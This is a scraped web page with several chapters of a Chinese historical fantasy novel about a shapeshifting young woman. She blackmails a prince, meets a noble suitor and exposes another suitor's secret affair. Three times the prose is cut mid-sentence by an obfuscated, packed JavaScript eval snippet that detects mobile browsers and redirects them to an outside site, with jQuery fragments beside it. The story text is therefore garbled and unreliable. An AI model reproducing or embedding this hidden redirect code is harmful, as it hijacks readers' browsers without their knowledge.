殷流光自幼长在锦绣长安,虽然父亲只是七品官,家里不算富裕,但从来没有见过战争的险恶,此时此刻,借着烛光一抹,仿佛从商遗思腰上的这抹疤痕触碰到了漠北淋漓的鲜血、厮杀和仇恨。
她面前这人……是以杀伐起家的将军,身上却没有那股军中人的蛮横凶戾之气,现在这样躺在红绡帐里,只穿着白色中衣,头冠歪到一旁,墨发凌乱贴着鬓角……看起来分外容易……欺负。
或许是感知到了殷流光的注视,蒙着帕子的商遗思更觉得不适,药性扰乱他的五感,他以为自己被殷流光触碰的地方燃起簇簇火苗,是因为药性导致的幻觉,他的胸膛不住起伏,呼吸急促,喘着气催促:“劳烦殷四娘子快些。”
殷流光安抚了他一声,别过眼低头,动作麻利地解开全部绳子,又按住商遗思脸上的帕子,凑到他耳边轻声说:“大王先别急着睁眼。”
商遗思不得不集中注意力,将敏锐的感知从脸边飘来的女子香气上远离,他微微偏过脸,耐着脾气道:“殷四娘子,你又想怎样?”
殷流光笑眯眯说:“其实那杀手是广平侯派的我早晚也能猜到,对我来说无伤大雅,但我今晚帮了大王这么大一个忙,可是帮你护下了你的清白呢。”
“你待如何?”
“既然广平侯盯上了我,我就不好跟世子传信了,明夜戌时三刻,还请大王劳烦一趟,将世子带来这里,我在此恭候。”
商遗思沉默片刻,嘴唇露出个冷笑的模样:“你怎么肯定本王答应?”
殷流光晃了晃手中的东西给他听:“刚刚从桌边大王的躞蹀带上摸到的,这是大王的三品金鱼符吧?平常决不能离身,离了身便是丢失为官凭证之罪责,这鱼符我先替大王保管,等明日见到了世子,再还给大王。”
商遗思皱眉:“明晚不行,最早也要三日后。”
“成交。”她说完,心中默念心咒,如今她越来越可以得心应手地感应化形的时间,霎时间,殷流光又变成了一只嘴里叼着金鱼符的乌鸦,从半开的窗户中飞了出去。
商遗思一把扯下脸上的手帕,坐起身瞟向放在桌边的躞蹀带,果然鱼符不见了。
他蓦地,被气笑了。
商遗思穿好衣服,系好躞蹀带,默玄从窗外飞身落地,半跪在商遗思身后:“属下该死!”
商遗思系好最后的扣子,淡淡道:“是我派你出去做事,因此疏于防范,出事也与你无关。寿昌现在何处?”
“我趁公主进马车的时候将她打晕过去了,算算时间,公主如今也该醒了。”
商遗思点点头:“君平可到了?”
默玄称是,商遗思走到窗边,推开半扇窗户,俯视楼下的华盖马车,不多时,一声女子尖叫从马车内传出:“蛇!有蛇啊!!快把它赶下去!!!”
护卫慌忙扑进车帘内抓蛇,马车摇晃个不停,女子尖叫一直没有停歇。
“废物!它跑了!”寿昌怒气冲冲地喊道。
“属下这就去追!”护卫又从车内纵身跃出去追,追到一半却握着刀颤抖,苍白着脸不敢上前。
“这蛇、这蛇方才有这么大吗……?”
方才白蛇哧溜一下从马车上滑下后,蛇形走位跑得飞快,在长街上越爬变得越大,最后有一人手臂那么粗,此刻在长街中央高昂着蛇头直立起身子,幽幽注视公主守卫,他直接晕了过去,身后传来公主的尖叫。
商遗思合上窗户:“让君平做这种事,难为他了。”
默玄最后望了眼那护卫跑的方向,确定他是被引去了广平侯的宅子,这才转过身笑道:“大王不必为他担忧。”
“君平今日还同我说呢,偶尔做点这种吓唬人的事,还挺好玩。”
见商遗思不信,他睁大眼言之凿凿:“真的!毕竟他的能力是变蛇嘛,要么毒死人要么吓死人,他那么阴沉的性格,做这两种事简直就是如鱼得水,喜欢的不得了。”
化兽之人的确跟所化之兽的类型会有微妙的相似,那殷流光跟乌鸦的相似点是什么?
商遗思想起她方才将手捂在自己脸上的帕子上,得意洋洋地摇鱼符威胁他的时候,立刻断定,殷流光跟乌鸦最大的共同点,就是一样地惹人厌烦。
什么福鸟瑞鸟,根本就是顽劣不堪的蛮鸟。
……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986105|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
三日后。
商遗思说今夜会带祁承筠与她见面,宋绯说道长上门割血的日期也是这一天。
她也知道,就算祁承筠答应了她,也没有那么快就能说动广平侯请冰人上门提亲,所以无论如何,殷流光都逃不开被取血。
她被阿妙引到东堂,那日见过的道长已经已经到了,正盘腿而坐闭目养神,在他面前摆着许多器皿道具,其中便有一把泛着冷光的金制匕首。
只是殷流光没想到的是,殷流灵今日也回来了,正坐在殷守善身边,眼角通红,握着他的手安抚他:“兄长莫怕,等会喝了药很快就能好了。”
毕竟殷守善是她同胞兄长,之前他疯了,宋绯担心殷流灵知道了惊动胎气,一直没有告诉她,但殷流灵的夫君消息灵通,定是说漏了嘴把这事告诉了她。
她今日模样看起来急匆匆的,想必便是得了消息便立刻回来看殷守善的,毕竟殷流灵出嫁后她们也许久没见,殷流光走近几步,对她笑道:“长姐,你回来了。”,殷流灵瞧向她,抿了抿唇,道:“四娘,今日辛苦你了。”
殷流灵从前对殷流光可从不会这么客气,今日为了殷守善,见面居然没有冷嘲热讽殷流光,果然是兄妹情深。
殷流光乖巧说:“阿姐这是哪里的话,阿兄也是我的阿兄。”,殷流灵不语,扭过头继续去跟殷守善细声说话,宋绯见状,连忙走来拉住殷流光,叫她把自己提前准备的红枣粥先喝了,补补血。
等做法的时辰到了,道长睁开眼从毡席上起身,摸着胡须道:“殷家夫人,可以开始了。”
“请这位小娘子将手伸到贫道备好的瓷碗上。”
殷流光点头,她撩开衣袖,将左臂胳膊悬在瓷碗上空,道长嘴中念念有词,忽而拿起匕首挑起燃烧的符纸,待符纸燃成灰烬,他便挥手划过殷流光的胳膊。
手臂上钻心的疼痛传来,她死咬着唇,不发一声,冷眼瞧着鲜红的血一滴滴落进瓷白的碗中。
宋绯在旁握着帕子,两眼含泪道:“太好了,这下善儿有救了!这些血可够?道长可多取些。”
殷流光唇畔逸出冷笑,一边忍受着失血的晕眩,一边听到殷流灵安慰宋绯:“阿娘,你放心吧,阿兄一定会没事的。”
没有人关心她疼不疼,在这个家里,她从来都是多余的那个。
仪式结束后,殷流光捂着缠了好几圈的绷带,淡淡转身道:“母亲,如果没什么事,我就先回去了。”
宋绯忙着指挥仆人用血制药,眼睛都没看她,对殷流光道:“四娘今日受苦了,快些回去休息吧。”等她转身欲走的时候,宋绯又想到了什么,拉住了她,和蔼地笑道:“对了,你阿耶说明日便想带他挑中的那名学子来家里喝茶,明日你记得打扮得鲜亮些。”
“知道了,母亲。”她苍白着唇,佯装害羞地应了声,行了礼转身离开东堂。
走在路上,殷流光捂着胳膊,面无表情。
被取血不算什么,反正她知道殷守善是治不好的,但这婚事……她必须尽快去见祁承筠了。
14. 世子之诺
是夜,窗户外响起三声敲窗声,殷流光走过去打开,瞧见窗外一身黑衣,立在暗处如同鬼魅的默玄。
他抱臂而立,上下仔细打量了一眼殷流光,像是隐隐很佩服,道:“大王令我来接四娘子。”
殷流光本打算等到了时辰就偷偷变成乌鸦飞过去,没想到商遗思竟然还遣人来接她,他那冷面天神的模样,倒是在这种小事上细心,她点头:“知道了,这就走。”
她扭头吩咐知意:“还是跟之前一样,你在屋里守好,有人来问就说我睡了。”
知意警惕地看了看窗外站着的陌生男子,眼里闪过担忧,默玄冲她耸肩:“你家娘子厉害着呢,老虎头上敢拔须,你担心谁也不用担心她。”
知意可不相信他,但她相信自家娘子,对着殷流光点头轻声道:“嗯,娘子放心吧,我一定守好这里,娘子万事小心。”
殷流光刮刮她的鼻尖,道:“等我回来,给你带琼池楼的酥酪!”
她扭头问默玄:“我们怎么出去?”
默玄朝后门的方向指了指:“走门啊。”
殷流光跟着他一路走到后门,发现守门的老仆人倚靠着门框睡着了,估计是默玄给他用了什么迷香,他们就这么大摇大摆地走了出去,后门拐角的巷子里停着辆马车,看着朴素,但驾车的马毛色顺滑,花纹如连钱,显然是匹上等的西域好马,奇怪的是,这马车没有马鞭。
等殷流光坐上马车,瞥见默玄也跳上车前坐着,伸手亲昵地摸了摸这匹马的鬃毛,马蹭了蹭他的手掌,不需他多说什么,便抬起蹄子慢悠悠走向琼池楼的方向。
殷流光坐在马车里,听着马蹄规律的声音,脑中灵光一闪,忽然想起之前商遗思招揽她所说的:“你不是本王见到的第一个有能力化兽之人”。
还有这主仆二人都知道自己的能力,却都不曾惊讶,仿佛知道化兽的能力并不稀奇。
那就说明,商遗思身边就有跟她一样的人。
其实她早就怀疑默玄就是了,只是不知道他能化的是什么兽,此时见他跟马如此亲昵,忍不住在心里嘀咕:难道默玄能变的……是马?
……有点想看他变身的样子。
等到了琼池楼,默玄只把她送到包厢门口便告辞离开。
殷流光推门而入,瞧见一个穿着青色织金襕衫的男子立在堂中,听到动静转过身来,瞧见是她,温润的脸上顿时现出惊喜。
祁承筠快步走到殷流光面前,伸手想抱住她,但又僵在半空,想起来这样不合礼仪,后退半步朝她道:“四娘,多日不见……听说你阿兄不知怎么,竟然丢了魂疯了,你……还好吗?”
“我还好,让郎君担忧了。”殷流光微笑道。
眼前的青年眉目清秀,举止端朗,一见面就让人有如沐春风之感,据说是长安世族心目中的最佳女婿人选,就连天子也曾暗地里问过广平侯,是否愿意跟他做亲家。
当时广平侯说犬子还要为母亲戴孝,不宜考虑这些,今年他便要出孝了,恐怕到时候天子若是再问,广平侯也会顺势答应。
祁承筠点头,邀殷流光坐下,倒了杯三勒浆推给她,道:“三天前我本就该来的,只是那天晚上……我阿耶突然要我去祠堂祭拜阿娘,所以我才爽约,四娘,那天你是不是等了很久?”
“无妨,只要能见到郎君,等多久我都愿意。”殷流光垂下眼,细声细气道。
听闻心仪的娘子这么说,祁承筠的面皮一下子泛起薄红,殷流光简单说了下那日偶遇襄王,便拜托他今日再替自己约祁承筠来这里,她放下杯盏,望向祁承筠:“我本来不该这么贸然约郎君出来,只是事出紧急,我不得不跟郎君见一面详谈。”
听她这么说,祁承筠忙道:“可是你家里出了什么事?”
殷流光从进门起就是为了铺垫这一刻,她的嗓音很平静:“我阿耶已经为我物色好了一门亲事,对方是国子监的学生,明日就会来我家与我见面。”
对面的郎君霍然起身,杯子滚落在地上,嫣红的浆液沾湿地毯。
“什么?!!”
他急急地来回走了两步,望向殷流光:“为何殷伯父会这么心急?”
那夜他急着去赴约,却被阿耶叫到了祠堂,让他跪在阿娘牌位前,向阿娘谢罪,陈述自己如何不孝。
虽跪在祠堂,但他不解其意,阿耶便问他可还记得阿娘在病榻缠绵之际,对他说的话。
祁承筠当然记得,阿娘说——“我儿……必如青竹……挺立长安,傲视公卿……不负门楣。”
她撑着最后一口气说完这句,然后才溘然长逝。
阿耶说,你如今门荫入仕,不过是个小小翊卫,在朝堂之上寂寂无名,与你同岁的商遗思早就已经封侯拜相,你呢?不但不思进取,这段时间还总是跟殷家那个七品官的小女儿纠缠不清!
祁承筠辩驳,说他不是纠缠不清,而是早有求娶之意,可阿耶大发雷霆,指着他骂他不孝,若不能娶高门女子或是公主,如何能做到傲视公卿,让祁家门楣成为大盛第一大姓?
那夜阿耶责令他在母亲牌位前跪足两个时辰,可他仍然觉得自己没错。
姻亲之事,他只看重真心。
至于阿娘期许的傲视公卿的权位,他会靠自己堂堂正正地走上去。
祁承筠本打算等明年参加进士考试,以科举入仕而非门荫,等考中进士后再说动阿耶,求娶四娘,可却没有想到,四娘的父亲竟然已经给她挑选好了夫婿!
殷流光见他慌了神,一幅六神无主万念俱灰的模样,不得不轻咳一声,提醒道:“如今还没有定论,我今夜来见郎君,也是想问你一句。”
她抬起眼望向祁承筠:“郎君可愿意娶我?”
“四娘,我的心你还不知道吗?”祁承筠苦笑一声:“只是婚姻大事,需要父母之命媒妁之言,且不说我阿耶不允,这几日我家中也出了不少怪事,这个节骨眼我实在无暇分神想这些……”
不只是阿耶不准,也是因为这几天的广平侯府并不太平。
前日寿昌公主惊慌失措地跑到天子面前,说此前回公主宅时,在坊内被一条白蛇袭击,那白蛇古怪无比,似通人性,侍卫怎么抓不住,反被它挑衅,它更生了双诡异的黄金瞳,幽幽发光,像是两个长明的黄灯笼。
她眼睁睁看着那条白蛇逃进了广平侯府,请天子一定要派金吾卫抓住这条蛇!
公主被妖蛇惊吓这件事传遍了长安,民间更有谣言,说那妖蛇就是从广平侯府跑出来的,妖异聚集必有怨孽,广平侯府定是藏了些什么见不得人的东西!
这谣言越传越凶,越传越有鼻子有眼,祁承筠自己在家中从没见过什么黄瞳白蛇,自然当寿昌公主就是从小被娇惯,什么事都喜欢大惊小怪。
但传言不能不管,今日一早,他阿耶便带着请罪的奏折去了禁中。
这些家中的烦恼事也不必对四娘细说,只是她想要自己在这个多事之秋上门提亲,确实有些难。
从眼前人为难的表情来看,殷流光便明白了。
自从那夜被广平侯派人刺杀后,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986106|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就知道他不会轻易答应这门婚事,祁承筠温良重孝,更不会为了她直接顶撞自己父亲。
她来之前就想好了说辞。
“郎君苦衷,我都明白。”她道,神色有些凄然:“我也无法违抗尊长,今生无缘,往后的日子,我会在佛前祈祷郎君平安顺遂,一生无忧无灾。”
她说着,便要起身离开,祁承筠听了“今生无缘”这几个字,心中大震,不由自主在她擦身而过时,第一次逾越礼教,握住了她的胳膊:“四娘,我……”
但殷流光被他握住胳膊,却变了脸色,皱起眉轻声“嘶”了一声。
祁承筠立刻察觉到不对,放开她的胳膊,道声得罪,牵住她的手,撩起她的袖子。
包扎着绷带的伤口暴露在他眼前,殷殷渗出鲜红血迹,在白皙的藕节似的胳膊上触目惊心,从血迹的形状便立刻可以明白伤口之深之长。
“这是谁干的!”祁承筠脸色剧变,气得声音都变了调,且不说这么长一道伤口,日后必定留下狰狞疤痕,就算只是想象一下当时这刀割在四娘手臂上时她该有多痛,祁承筠便心疼无比。
他气得胸膛起伏,双眼怒睁:“四娘,是谁敢这么欺负你,我必定把他抓来千刀万剐给你泄愤!”
“是我母亲请青雾山的道长做法时划的,父亲也知晓……”殷流光忙忙握住祁承筠的袖袍:“这都是为了给阿兄治疯病,所以需要我的血来做药,我是自愿的,跟父亲母亲都没关系。”
祁承筠愣住了。
“是……殷伯父殷伯母?”
身体发肤受之父母,不敢毁伤,孝之始也。
可是他没想到,这天地下居然有愿意为了什么莫须有的治疯病的药,主动伤害自己女儿的父母!
他默然良久:“四娘……我一定想办法把你从殷家救出来!哪怕是要在祠堂跪三天三夜,我也要求阿耶请冰人上门提亲!”
殷流光被他拢在怀中,肩膀轻颤,眼底却浮现出平静的神色。
京中官宦人家之间,最是流言蜚语传得快,祁承筠其实不需要真的说动广平侯,只需要让殷家知道,广平侯世子居然愿意为了她跟侯爷对峙,那么殷家便知道了她在祁承筠心中的分量。
广平侯世子与国子监学生,这两个女婿之间该选哪个,他们根本不会犹豫,只怕是得到风声之后,就会对她改变态度。
她微微放下心,只是忽然想到了商遗思那双冷沉的眼眸。
像是积着层层的冰刃,只消一眼,就刺穿她所有算计与伪装。
祁承筠放开殷流光后,又与她聊了会话,告诉她自己过几日会将治疗疤痕的药膏让长随送去殷家。
等到离开时,殷流光送他出门,借口自己还想给知意带些夜宵吃食,而且这里距离殷家不远,婉拒了他送自己回家的好意。
待祁承筠一步三回头地离开,殷流光果断转身,看向不知何时出现的抱臂而立在门口的默玄:“可是襄王找我?”
默玄点头。推开了隔壁包厢的门,做了个请的姿势:“大王就在里面,请吧。”
她缓步走进去,厢房内端坐着品茶的玄色背影,不是襄王又是谁?
“我竟不知,大王有听人墙角的喜好。”
商遗思听到女子声音,眉眼未抬,语气微诮:“本王也不知,殷四娘子戏演得这般好。”
他没有看她,跟三天前的模样大不相同,只是坐在那里,便有如刀凌厉的气势。
殷流光听到眼前人淡淡道:“本王已然践诺,鱼符是否可以还给本王了?”
15. 物归原主
两人第一次见面时,她便没有骗过他,第二次长街偶遇,也是如此。
所以殷流光已经放弃在商遗思面前伪装自己了,她大喇喇走过去,坐在茵席上,望向对面,微微一笑:“鱼符自然是要还的,只是……我过来也是想多谢大王愿意践诺,成全我的心愿。”
“既然不喜欢他,又何谈本王成全?”他搁下茶盏:“殷四娘子,你为了逃离一个火坑,却很有可能把自己推向另一个火坑。在本王看来,这不是明智之举。”
“难道大王所谓的明智之举便是成为你的属臣,用我的能力监视群臣,好让你能把更多人抓进金吾狱,手脚不全地出来?”
她讨厌商遗思这种高高在上点评她所作所为的轻描淡写,第一次克制不住自己脾气,话里带刺,讥诮了回去。
但商遗思竟然没恼,他换了话题:“这是你的选择,既然你坚持,本王也没什么可说的。”他朝她伸手:“鱼符给我。”
只是没想到对面的女子却摇了摇头,他沉下目光,听她淡然道:“大王现在身上没有锁链绑着,身边还跟着侍卫,我若是现在就把鱼符给了大王,大王没了顾忌,若是还在记恨我拿鱼符威胁你,那我岂不是自投罗网?”
“你别以小人之心度君子之腹,大王跟你这种人可不一样!”默玄在商遗思身后怒斥,殷流光轻笑:“是啊,我这种人,就是喜欢言而无信,出尔反尔。”
端坐在茶案后的人却不疾不徐,缓缓抬眼看她:“一枚鱼符而已,对本王而言就算丢了有什么要紧?难道朝野上下会因为本王不带鱼符而不认我这个襄王?”他道:“本王今日在此候你,是有个问题想要问你。”
堂堂襄王能有什么想问自己的问题?从遇见她到现在,商遗思就只对她能够化兽这件事感兴趣,只是她已经拒绝了他的招拢,他还想问什么?正思索间,商遗思的话音已经响了起来:“太上之信,召会群灵,灵如我身,魂授我骨……这句话,你可有听过?”
是师父那半卷残书上的化形心咒!他怎么也知道?
看出了她的疑问,商遗思便也确信了殷流光手中有着关于化形的自己不知道的消息,这心咒是他辗转寻找许久,费劲周折,才从青雾山的道士那里得知,殷流光他查过,与青雾山素无往来,家中请的道长也是她母亲宋绯所请,与她无关。
那她是从哪里知道的?
他垂下眼帘,盖住眼底波澜:“看来你是知道。”
“本王想知道,这句心咒你从何得知?若能告诉我,前尘往事一笔勾销,本王说到做到。”
他为人的确重诺,而且那本书也没什么其他不能说的,殷流光思量片刻,立刻脸上堆了笑,将那本书告诉了商遗思,只是隐去了观山师父的身份,她坑蒙拐骗数年,长安城里到现在还有不少她的海捕文书,为了她的死后清净,可不能在金吾卫大将军面前说这些。
商遗思听殷流光说了书上记载的关于“凡人天窍”的事,尤为最后所谓控制之术法,便已经完全相信,只因这三种操纵之术里,有一种便是他已经掌握的。剩余其他两种,若是也能尽皆掌握,对日后所谋之事也大有裨益。
只是再追问下半卷的消息,殷流光却说下半卷丢了。怕他不信,她连忙说改日可以将书送给襄王。
若是有了上半卷,便能想办法找到下半卷。
商遗思点头:“既然如此,本王却之不恭。”他起身:“我说话算话,前尘往事一笔勾销,只是殷四娘子,若你一定要做这广平侯府的世子妃,想谋个安稳人生,我只怕你到最后,不能得偿所愿。”
听他这话里有话的意思,像是广平侯府会发生什么,殷流光追问,商遗思却不肯再多少,让默玄送客。
她悻悻起身离开,在经过商遗思身边时,却忽然被他勾住腰身,以迅雷不及掩耳之势从她腰间取走了鱼符。
快到她都没有看清他的动作,只觉得腰间一瞬间轻了。转头就瞧见商遗思将金鱼符重新挂在了躞蹀带上,面色平静:“物归原主。”
她吃了瘪,心中恼火,却只能悻悻离开。
回去的马车上,默玄将一个小瓶子递给殷流光,语气很是没好气:“诺,大王给你的。”
“这是什么?”她接过去问了一下,只觉得一股辣气扑面,打了好几个喷嚏,听默玄道:“这叫灵消膏,是我们陇幽军中用来治疗刀伤的,药性霸道,现在在京城用不着了,大王就给兽苑里的豹子用,也用的不多,剩下不少,你用了这膏药,再深的伤口也保准不出三天伤口就愈合了,而且不会留疤。”
“就是会很疼……你就稍微忍着点吧。”
殷流光咬牙挤出“多谢”二字。
给豹子用剩下的药给她?襄王这是真的拿她当乌鸦了啊?
……
“娘子,你这手臂上的伤……好像好多了?”
第二天穿衣服时,知意帮殷流光系好襦裙带子,看向她露出来的一截手臂,十分欣喜:“这么看来,今天就不用缠绷带了呢!”
殷流光淡淡“嗯”了一声,心想那药确实管用,只是昨天晚上手臂上火辣辣地疼了一夜,她边在床上疼得滚来滚去,边在心里直骂商遗思不是人,居然把这种霸道的虎狼之药用在人身上!
要是有将士受了比她手臂上更重的伤,抹上这药,岂不是要痛上许多倍?
她想着,忍不住打了个寒颤,知意已经替她梳洗打扮完毕,铜镜里映出个灵动殊丽,杏脸桃腮的女子。
她起身:“走吧,该去前厅了。”
阿耶相中的那国子监学生,现下已经等在前厅了。
还没走到前厅,远远就听到其乐融融的笑声。
“自古圣人观星知天下,愚以为专心研究这《四序堪舆》,所得的治理国家的奥妙不比朝堂上紫衣袍,金鱼符的诸位公卿差。”
这个年轻的声音想必就是父亲的学生张贺,父亲是算学博士终其一生研究算术,这学子所言,将算学抬高到治理天下的高度,自然十分投殷阆所好,果然,殷流光走进去时,便瞧着殷阆跟一个面相陌生普通,穿着蓝布袍的学子站在书案后,其乐融融地对着案上摊开的书探讨算经。
她行了一礼,道:“阿耶,母亲让我来上茶。”
“流光,你来的正好。这是阿耶在国子监教过的学生张贺,快来见过。”殷阆笑着介绍两人认识,张贺对着殷流光行了一礼,道:“四娘子安好。”
他直白的目光在殷流光脸上停留了片刻,打量的意味十足,殷流光跟着观山自幼学习相面术,借着递茶的功夫也瞄了此人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986107|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼,四白眼,鹰钩鼻,虽然人不可貌相,但也有句话叫做相由心生,他虽然脸上带笑,但眼底精光却无法遮掩,令人生厌。
她放下茶盏便离开了,殷阆还以为她害羞,对着张贺笑叹:“四娘从小养在家中,性子柔弱,怕见生人。”
他顿了顿,道:“今日我叫你来家中,你也知道我的意思,你觉得如何?”
“四娘子乃碧玉芙蓉,今日一见,艳照满室……学生若是能有幸成为殷博士的女婿,学生求之不得。”
这便是十分愿意了,殷阆也对张贺很满意,拍拍他的肩膀和煦道:“那往后便是一家人了。”
张贺十分恭谨,连声说是自己高攀,但在殷阆看不到的地方,眼里隐隐露出不屑。
这一幕被窗外的殷流光看得清清楚楚。
是夜,月垂都城,星流横天。
乌鸦在参差屋檐间无声掠过,停在了一处简陋的宅院前。
屋内隐隐传来女子哭泣声。
乌鸦动了动翅膀,飞得更近,望进窗内。
“狼心狗肺的东西,日后你娶了新妇,我跟孩子可怎么办?当初你阿兄把你托付给我,你发誓要照顾我一辈子,现在才过几年,就忘光了?”
年轻妇人伏在床上哭得不能自已,小腹微微隆起,显然是已经怀了孕。
张贺满脸无奈,好说歹说将她哄得止了哭声,握住她的手,殷殷道:“桂娘,我这不还是为了你!”
他爱惜不已地将她搂紧怀中:“自阿兄去后,你我早就已经互通心意,你腹中的孩子也是我的骨肉,我又怎么会抛弃你们?”
“那你为何……要答应殷家的婚事?”妇人说到这里,又落下泪,张贺用袖口小心翼翼为她擦拭,道:“莫哭了,哭坏了身子,让我们的孩子怎么办?”
他道:“我答应殷家,当然是为了你跟孩子。”
“周围邻里街坊都知道你是我的寡嫂,若是想要这孩子堂堂正正地成为我的长子,他就需要有一个名正言顺的阿娘,那殷阆不过是七品小官,他女儿殷四娘更是歌姬生下的低贱种,等日后我将她娶过来,等你生下孩子,便说是她生的,她已经是我们家的人,又听说性格怯弱,自然处处都会听我们的话。”
他将妇人抱在怀中,柔情满怀地抚摸她微微隆起的肚皮:“到那时,她就是给外人看的娘子,你桂娘,才是我张贺真正的娘子。”
妇人被哄得破涕为笑,叹道:“殷家娘子也可怜,等她嫁了过来要受这些委屈,我也对她不住,往后咱们对她好些,我一定拿她当亲妹妹看!”
“还是桂娘你温柔善良,我真不知怎么疼你好了……”
他说着,便搂着她倒向床帐身处,妇人喘息的呢喃隐约传来:“轻些……如今胎气还不稳……”
“我知道,我会轻点的。”
乌鸦扇动起翅膀,沿着原路飞向天际,漆黑的身影没入层层叠叠的屋檐之间,只余曾停留的枝头轻颤。
……
翌日,张贺握着请笺,一脸诧异:“殷四娘子想要约我见面?”
知意站在他家门口,平平板板道:“我家娘子已经约好了位置,还请郎君莫要迟到。”
“敢问这位姐姐,四娘子为何想要见我?”张贺迟疑地问道。
16. 登门退婚
“这我就不知道了,不过婚姻大事是一辈子的事情,轻易不能儿戏,或许娘子只是想要再确认一下,郎君是可托付终生的人。”知意依旧素着脸,虽然心中带气,直想把这敢算计欺辱娘子的狗贼拖去见官乱棍打死,却牢记着娘子的吩咐,原原本本把她教的话说了出来。
张贺回想起前日见到殷家四娘的情景。
虽然只是来上了杯茶,但也能看出来,她是个娇弱怕生的女子,如今竟然背着父亲偷偷约自己相见,还说什么托付终生的话,显然是已经对他动了情。
他不禁得意起来,整了整衣襟:“如此,劳烦转告娘子,某必定准时赴约。”
……
等到了约定的时辰,张贺远远便望见罗家茶肆外的棚子里,坐着个戴着帷帽的女子。
他走过来坐下,道:“四娘子怎么约在了这么简陋的地方?”
“只是稍微说几句话,倒也不需要特意挑什么地方,这里离我家不远,出来方便些。”殷流光笑道,抬手给他倒了杯茶:“郎君请喝。”
见她处处温柔小意,张贺更是笃定了自己的猜测,没有碰茶杯,径直越过粗瓷杯子握住了殷流光的手。
“四娘,那天见你,我便觉得你很适合娶回家做娘子。”见殷流光没有挣脱,只是含笑望着他,他心里更是自得,道:“有你主持中馈,明年进士考试我肯定能一举夺魁,到时你就是进士娘子了,放心,我答应了你阿耶,不会亏待你的。”
等他说完,殷流光才不动声色抽回手,道:“那不知郎君准备何时请冰人上我家?”
“这个嘛,自然是越快越好。”
毕竟桂娘的肚子可等不得。
殷流光眸色微闪,微笑着将身边的东西放到茶案上,推给张贺。
“这是什么?”望着桌上的一摞药包,张贺甚是奇怪。
“这是安胎药啊。”殷流光说得慢条斯理,张贺却猛然浑身一震,下意识道:“你送我这个干什么!”
女子的帷帽被风吹起,露出秋水般的瞳孔,明明是与在殷家见到的一模一样的脸,浑身气质却截然不同,讥诮冷然,仿佛能洞穿他所有秘密。
“给谁用的,郎君自然清楚。”
她微微压低了声音,漫不经心:“怀胎三个月,正是不稳当的时候呐。”
这是昨夜桂娘说过的话……张贺惊惧无比,颤抖着推开桌子起身,指着她道:“你究竟是怎么……!”
女子岿然不动,坐在原位,周围已经有好奇的看客往这边张望,她道:“如果你想把事情闹大,就尽管高声喊叫。”
僵硬片刻,他终是抵不住周围人窥探的目光,坐了回去,道:“你想怎样!”
“很简单。”殷流光曼声开口:“你亲自登门告诉我父亲,你无才无德不配娶我。”
“怎么可能!”张贺手撑住桌子,低吼出声。
不知道殷家四娘子是怎么知道他和桂娘的事的……这一年他们连邻居都瞒过去了,她怎么会知道!
况且今日受了这种羞辱,叫他怎么能忍!
张贺怒气上头,登时咬牙朝殷流光扬起手,但还没碰到她的帷帽,就被凌空而来的马鞭打了个措手不及。
他惨叫出声,扭头一看打人者居然是个坐在马背上的金吾卫将军,旁边还有个骑在马上的青衣道士,将军的明光铠猎猎耀眼,他立刻不敢吱声。
商遗思道:“当街殴打女子,可知是什么罪?”
“小民知错了,小民知错了,求将军饶了某这遭吧!”张贺吓得连连求饶,殷流光忍不住笑出声,被商遗思瞥了眼,只好扁扁嘴不笑了,被那道士多看了好几眼。
她对张贺道:“我记得,你亡兄死了不到一年,你还没出孝期……如果你不愿意,那就等着京兆府治你个□□之罪吧。”
张贺此刻哪敢有什么嚣张气焰,他还等着备考明年的进士考,不能出差错,慌忙道:“我知道了,我这几天就登门退亲!绝不敢多说一句!”
殷流光点头,张贺灰头土脸地匆匆逃走。
殷流光走了出去,站在马前对商遗思行了一礼,对他笑眯眯道:“多谢大王相助,大王这是去哪?”
“日常巡街。”商遗思言简意赅。
他身旁的道士颇为有兴趣地道:“望尘,这位貌美的小娘子是何人?”
此人逆着光,大晴天还戴着青色箬笠,殷流光看不清楚他的脸。
“与你无关。”商遗思冷冷道:“太子派你从青雾山上下来是跟我巡街的,不是让你到处乱逛喝酒吃茶,跟路边胡姬调笑的。”
他道:“还不去太平坊巡查?”
道士响亮地“啧”了一声,不情不愿地走了。
平素巡街这种活怎么会需要金吾卫大将军亲自做,还要青雾山的道士陪同……道士走后,殷流光转了转眼珠:“可是京城出了什么事?”
商遗思没有答话,握紧缰绳就要御马离开,却被殷流光接下来的话钉在原地:“可是白蛇祸乱长安一事?”
他目光沉沉地看着她:“你的消息倒是灵通。”
看来她猜对了!
